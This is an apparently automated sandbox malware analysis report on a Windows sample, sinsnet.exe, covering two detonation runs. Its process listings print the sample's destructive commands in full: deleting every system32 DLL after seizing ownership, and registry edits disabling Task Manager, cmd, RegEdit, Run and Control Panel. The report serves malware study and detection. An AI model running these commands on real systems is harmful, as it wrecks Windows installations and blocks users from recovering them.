Malware Analysis Report

2024-11-16 12:47

Sample ID 240806-lmeajszcrb
Target sinsnet.exe
SHA256 20b35a086361fb16d850d016533e5de2a25c64a3e0bcc3be26472d9e15bae1b6
Tags
discovery evasion exploit
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

20b35a086361fb16d850d016533e5de2a25c64a3e0bcc3be26472d9e15bae1b6

Threat Level: Likely malicious

The file sinsnet.exe was found to be: Likely malicious.

Malicious Activity Summary

discovery evasion exploit

Possible privilege escalation attempt

Disables cmd.exe use via registry modification

Disables RegEdit via registry modification

Disables Task Manager via registry modification

Checks computer location settings

Modifies file permissions

Drops file in Windows directory

Enumerates physical storage devices

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of FindShellTrayWindow

Suspicious use of SetWindowsHookEx

Suspicious use of AdjustPrivilegeToken

Modifies registry key

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-06 09:38

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-06 09:38

Reported

2024-08-06 09:41

Platform

win7-20240708-en

Max time kernel

118s

Max time network

119s

Command Line

"C:\Users\Admin\AppData\Local\Temp\sinsnet.exe"

Signatures

Disables RegEdit via registry modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" C:\Windows\System32\reg.exe N/A

Disables Task Manager via registry modification

evasion

Disables cmd.exe use via registry modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1" C:\Windows\System32\reg.exe N/A

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A

Enumerates physical storage devices

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\System32\reg.exe N/A
N/A N/A C:\Windows\System32\reg.exe N/A
N/A N/A C:\Windows\System32\reg.exe N/A
N/A N/A C:\Windows\System32\reg.exe N/A
N/A N/A C:\Windows\System32\reg.exe N/A
N/A N/A C:\Windows\System32\reg.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1572 wrote to memory of 1832 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\cmd.exe
PID 1572 wrote to memory of 1832 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\cmd.exe
PID 1572 wrote to memory of 1832 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\cmd.exe
PID 1572 wrote to memory of 3024 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 3024 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 3024 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 3032 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 3032 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 3032 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1832 wrote to memory of 1824 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1832 wrote to memory of 1824 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1832 wrote to memory of 1824 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1572 wrote to memory of 804 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 804 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 804 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 2252 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 2252 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 2252 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 640 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 640 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 640 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 1572 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\notepad.exe
PID 1572 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\notepad.exe
PID 1572 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\notepad.exe
PID 1832 wrote to memory of 2960 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 1832 wrote to memory of 2960 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 1832 wrote to memory of 2960 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 1572 wrote to memory of 2716 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 2716 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 2716 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 2656 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\notepad.exe
PID 1572 wrote to memory of 2656 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\notepad.exe
PID 1572 wrote to memory of 2656 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\notepad.exe
PID 1572 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\notepad.exe
PID 1572 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\notepad.exe
PID 1572 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\notepad.exe
PID 1572 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 1480 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 1480 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 1480 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 1572 wrote to memory of 2020 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe

Processes

C:\Users\Admin\AppData\Local\Temp\sinsnet.exe

"C:\Users\Admin\AppData\Local\Temp\sinsnet.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\*.dll && icacls c:\windows\system32\*.dll /grant Everyone:(F) && del /s /q c:\windows\system32\*.dll && exit

C:\Windows\System32\reg.exe

"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

C:\Windows\System32\reg.exe

"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f

C:\Windows\system32\takeown.exe

takeown /f c:\windows\system32\*.dll

C:\Windows\System32\reg.exe

"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

C:\Windows\System32\reg.exe

"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f

C:\Windows\System32\reg.exe

"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f

C:\Windows\System32\reg.exe

"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

C:\Windows\System32\notepad.exe

"C:\Windows\System32\notepad.exe" note.txt

C:\Windows\system32\icacls.exe

icacls c:\windows\system32\*.dll /grant Everyone:(F)

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

C:\Windows\System32\notepad.exe

"C:\Windows\System32\notepad.exe" note.txt

C:\Windows\System32\notepad.exe

"C:\Windows\System32\notepad.exe" note.txt

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

Network

N/A

Files

memory/1572-0-0x000000013F770000-0x000000013F910000-memory.dmp

memory/2852-2-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\note.txt

MD5 78551eabd7131c45b744a0cf420d29f7
SHA1 0f6792d1f3339ab5ac7674ad46267049ec9eb2b7
SHA256 9904338a1a2758f5969ba2affe5c46beaac955b6c4b87c67d20063ef5e0602f8
SHA512 abee3d1cd3860afe799deaac6e2c45fb741504ff80eb9fc7f39705cd7a9d46f61cee13cea6e676a33ea566f9256e13fa62dac7156b376ff94a7ced742516c064

memory/2716-4-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp

memory/1848-5-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp

memory/2180-6-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp

memory/2592-8-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp

memory/1572-7-0x000000013F770000-0x000000013F910000-memory.dmp

memory/1680-9-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp

memory/1480-10-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp

memory/1572-11-0x000000013F770000-0x000000013F910000-memory.dmp

memory/2020-12-0x000007FEFA910000-0x000007FEFA95C000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-06 09:38

Reported

2024-08-06 09:40

Platform

win10v2004-20240802-en

Max time kernel

73s

Max time network

54s

Command Line

"C:\Users\Admin\AppData\Local\Temp\sinsnet.exe"

Signatures

Disables RegEdit via registry modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" C:\Windows\System32\reg.exe N/A

Disables Task Manager via registry modification

evasion

Disables cmd.exe use via registry modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1" C:\Windows\System32\reg.exe N/A

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\sinsnet.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Windows\System32\mspaint.exe N/A

Enumerates physical storage devices

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\System32\reg.exe N/A
N/A N/A C:\Windows\System32\reg.exe N/A
N/A N/A C:\Windows\System32\reg.exe N/A
N/A N/A C:\Windows\System32\reg.exe N/A
N/A N/A C:\Windows\System32\reg.exe N/A
N/A N/A C:\Windows\System32\reg.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\System32\mspaint.exe N/A
N/A N/A C:\Windows\System32\mspaint.exe N/A
N/A N/A C:\Windows\System32\mspaint.exe N/A
N/A N/A C:\Windows\System32\notepad.exe N/A
N/A N/A C:\Windows\System32\mspaint.exe N/A
N/A N/A C:\Windows\System32\notepad.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4216 wrote to memory of 828 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\cmd.exe
PID 4216 wrote to memory of 828 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\cmd.exe
PID 4216 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 4216 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 4216 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 4216 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 4216 wrote to memory of 404 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 4216 wrote to memory of 404 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 4216 wrote to memory of 4420 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 4216 wrote to memory of 4420 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 828 wrote to memory of 1480 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 828 wrote to memory of 1480 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 4216 wrote to memory of 1516 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 4216 wrote to memory of 1516 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 4216 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 4216 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\reg.exe
PID 4216 wrote to memory of 2564 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 4216 wrote to memory of 2564 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 4216 wrote to memory of 1704 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\notepad.exe
PID 4216 wrote to memory of 1704 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\notepad.exe
PID 4216 wrote to memory of 4348 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 4216 wrote to memory of 4348 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 828 wrote to memory of 1724 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 828 wrote to memory of 1724 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 4216 wrote to memory of 4344 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\notepad.exe
PID 4216 wrote to memory of 4344 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\notepad.exe
PID 4216 wrote to memory of 1604 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\notepad.exe
PID 4216 wrote to memory of 1604 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\notepad.exe
PID 4216 wrote to memory of 4020 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 4216 wrote to memory of 4020 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 4216 wrote to memory of 3948 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 4216 wrote to memory of 3948 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 4216 wrote to memory of 2744 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 4216 wrote to memory of 2744 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 4216 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 4216 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 4216 wrote to memory of 2424 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 4216 wrote to memory of 2424 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 4216 wrote to memory of 4108 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe
PID 4216 wrote to memory of 4108 N/A C:\Users\Admin\AppData\Local\Temp\sinsnet.exe C:\Windows\System32\mspaint.exe

Processes

C:\Users\Admin\AppData\Local\Temp\sinsnet.exe

"C:\Users\Admin\AppData\Local\Temp\sinsnet.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\*.dll && icacls c:\windows\system32\*.dll /grant Everyone:(F) && del /s /q c:\windows\system32\*.dll && exit

C:\Windows\System32\reg.exe

"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

C:\Windows\System32\reg.exe

"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f

C:\Windows\System32\reg.exe

"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

C:\Windows\System32\reg.exe

"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f

C:\Windows\system32\takeown.exe

takeown /f c:\windows\system32\*.dll

C:\Windows\System32\reg.exe

"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f

C:\Windows\System32\reg.exe

"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService

C:\Windows\System32\notepad.exe

"C:\Windows\System32\notepad.exe" note.txt

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

C:\Windows\system32\icacls.exe

icacls c:\windows\system32\*.dll /grant Everyone:(F)

C:\Windows\System32\notepad.exe

"C:\Windows\System32\notepad.exe" note.txt

C:\Windows\System32\notepad.exe

"C:\Windows\System32\notepad.exe" note.txt

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

C:\Windows\System32\mspaint.exe

"C:\Windows\System32\mspaint.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 59.82.57.23.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp

Files

memory/4216-0-0x00007FF60E790000-0x00007FF60E930000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\note.txt

MD5 78551eabd7131c45b744a0cf420d29f7
SHA1 0f6792d1f3339ab5ac7674ad46267049ec9eb2b7
SHA256 9904338a1a2758f5969ba2affe5c46beaac955b6c4b87c67d20063ef5e0602f8
SHA512 abee3d1cd3860afe799deaac6e2c45fb741504ff80eb9fc7f39705cd7a9d46f61cee13cea6e676a33ea566f9256e13fa62dac7156b376ff94a7ced742516c064

C:\Windows\Debug\WIA\wiatrace.log

MD5 c27f3ddb99affd353ee49336b98d25de
SHA1 bf94a4e90e643b320e91f5b0983cf995fa561d78
SHA256 938870fc0c89fcba2280d2ec4dc8a80305b67a11e3e02d7a7e4b4c78843090d9
SHA512 366769449289286ed185e38a24f1acd8784c3861305be7fe81e83755005766e91e8119a7efa005b3e5c202e0ae9eaa6344c8a520f50bf51bd2cf83cfb42d5daf

memory/4216-4-0x00007FF60E790000-0x00007FF60E930000-memory.dmp

C:\Windows\Debug\WIA\wiatrace.log

MD5 bd5929ef970efcbd6727cb6e98d7b9fa
SHA1 ca943ece2406f96facfe2e2f0031749bf5a39a54
SHA256 c08b809eb8b5c33ae82ac7e39ea4bc896798895fbabc77a086fcf6d1f712c688
SHA512 fffb3cf2be65b88ba61a8b82d1a0974329be732b8bb1f327e7911f119bd041f6cc87b5b68f7b8536b06d7385b23b39656e9fd1ed2cd25cddf7a3fcb83b06039c

C:\Windows\Debug\WIA\wiatrace.log

MD5 57728eb44d414c2249824b303d1c6300
SHA1 3e8bb65f892d52afb8836d2159b3e0aeb229d4d3
SHA256 feba0b1560c5656a63b4b5facf4b9866822823b74e735b156a9cd397a6fa1cf5
SHA512 b9e285af0c4085c3bad000596966e5729413a521c6423318d09c1f75c4830aa9d39f51c8a71f88f83ce49544314144ac6e13c9b083cf65969ff3fcb265f8d528

C:\Windows\Debug\WIA\wiatrace.log

MD5 7ce6659dadf7399a50bc4d889f586c87
SHA1 939329909f8c0e82acbcbde012f363d1b98607b0
SHA256 1f15cf5365d5e3f967f31fa4647ab7780880a1cef7f1b89b1581b823c9d43af7
SHA512 3d3c0f05b0bb8b03845ada9963e84b436b998c2876700db74a39e2efca0415da652b93aec825b1d8d9dd77fb7915a6d64f86e4a12956a7bfabe206bad4da7f11

C:\Windows\Debug\WIA\wiatrace.log

MD5 d98bb6502629770ceaa2017746309d31
SHA1 caa862acc401386f1a5a8538a45b53a4a9d4035c
SHA256 8ce55892bc52d603af9d72794fe7ded9f74f7a86aa3c0b0e5dca369ae95e4194
SHA512 5a2df6fb1eab8f2401cc748af70edb2efcf2e87264f986b3eb2fd9110551e0149bce1208eeaf5f25074e7463461afc9d90c431d8977f31187133773255c93fc5

C:\Windows\Debug\WIA\wiatrace.log

MD5 8b60e298b6c6b4ebd04a553475668b76
SHA1 7156c57bf9b1a4ec6a4ac7d5b40f11ca72d3d378
SHA256 feb25f3031b6fe03490927907861459b98f9fd470896b12e18e34aff8384e8df
SHA512 027f5fda987fcdc78185642e025acd745b262375eba307eb92321ee383b0636c2de47dc909a58359242388e613cf90ab52e6d0dcd01ae33a02c94548b8a76e56

